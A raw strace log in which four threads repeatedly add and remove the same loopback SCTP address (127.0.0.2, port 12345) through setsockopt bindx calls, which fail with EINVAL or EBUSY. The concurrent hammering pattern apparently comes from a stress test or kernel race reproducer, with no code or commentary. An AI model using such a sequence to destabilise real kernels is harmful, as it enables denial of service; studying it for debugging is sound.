[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
